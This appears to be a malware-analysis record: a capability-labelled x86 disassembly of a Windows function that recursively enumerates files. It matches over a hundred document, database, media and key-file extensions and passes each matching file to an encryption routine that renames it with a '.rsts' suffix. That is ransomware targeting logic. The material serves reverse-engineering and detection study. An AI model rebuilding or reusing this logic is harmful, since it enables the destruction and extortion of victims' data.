Function at 0x401670
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa84
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0xa80], edx
push 0x404580
push 0
mov dword [ebp - 0xa7c], ebx
call dword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
push 0x208
lea eax, [ebp - 0x210]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x14
lea eax, [ebp - 0x620]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x404584
push ebx
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0xa78]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0xa84], eax
cmp eax, 0xffffffff
je 0x4026ba
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
mov esi, dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
nop word [eax + eax]
lea eax, [ebp - 0xa4c]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x620]
push 0x404588
push eax
call edi
lea eax, [ebp - 0xa4c]
push str._Recycle.Bin
push eax
call dword [sym.imp.VCRUNTIME140.dll_wcsstr]
add esp, 0x18
test eax, eax
lea eax, [ebp - 0xa4c]
je 0x401772
push eax
lea eax, [ebp - 0x620]
push str.SKIP_Current_Directory_:__ws
push eax
call edi
add esp, 0xc
jmp 0x402693
push 1
push 0x40463c
push eax
call ebx
add esp, 0xc
test eax, eax
je 0x402693
push 2
lea eax, [ebp - 0xa4c]
push 0x404640
push eax
call ebx
add esp, 0xc
test eax, eax
je 0x402693
test byte [ebp - 0xa78], 0x10
je 0x4017d6
lea eax, [ebp - 0xa4c]
push eax
push dword [ebp - 0xa7c]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
mov edx, dword [ebp - 0xa80]
lea ecx, [ebp - 0x210]
call fcn.00401670
push 0x208
lea eax, [ebp - 0x418]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x828]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xa4c]
push eax
push dword [ebp - 0xa7c]
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x828]
push str._s.rsts
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xa4c]
push str..123
push eax
call esi
test eax, eax
jne 0x402658
push str..3dm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..3ds
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..3g2
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..3gp
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..602
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..accdb
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..aes
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ARC
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..asc
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..asf
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..asm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..asp
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..avi
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..bat
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..bmp
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..brd
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..bz2
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..cgm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..class
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..cmd
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..crt
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..csr
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..csv
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..dbf
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..dch
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..der
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..dif
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..dip
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..djvu
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..doc
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..docb
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..docm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..docx
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..dot
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..dotm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..dotx
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..dwg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..edb
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..eml
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..fla
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..flv
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..frm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..gif
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..gpg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..hwp
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ibd
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..iso
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..jar
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..java
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..jpeg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..jpg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..jsp
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..key
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..lay
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..lay6
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ldf
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..m3u
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..m4u
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..max
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mdb
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mdf
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mid
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mkv
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mml
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mov
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mp3
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mp4
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mpeg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..mpg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..msg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..myd
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..myi
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..nef
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..odg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..odp
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ods
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..odt
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..onetoc2
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ost
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..otg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..otp
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ots
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ott
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..p12
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..PAQ
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pas
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pdf
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pem
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pfx
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..php
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..png
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pot
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..potm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..potx
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ppam
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pps
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ppsm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ppsx
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ppt
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pptm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pptx
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..ps1
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..psd
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..pst
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..rar
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..raw
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..rtf
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..sch
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..sldm
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..sldx
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..slk
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..sln
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..snt
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..sql
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..sqlite3
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..sqlitedb
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..stc
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..std
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..sti
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..stw
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..suo
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..svg
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
push str..swf
lea eax, [ebp - 0xa4c]
push eax
call esi
test eax, eax
jne 0x402658
cmp dword [ebp - 0xa80], 3
jne 0x402693
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x620]
push str.EnCrypt__ws____ws
push eax
call edi
add esp, 8
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x418]
push eax
call section..text
lea eax, [ebp - 0xa78]
push eax
push dword [ebp - 0xa84]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401720
push dword [ebp - 0xa84]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402831
mov esp, ebp
pop ebp
ret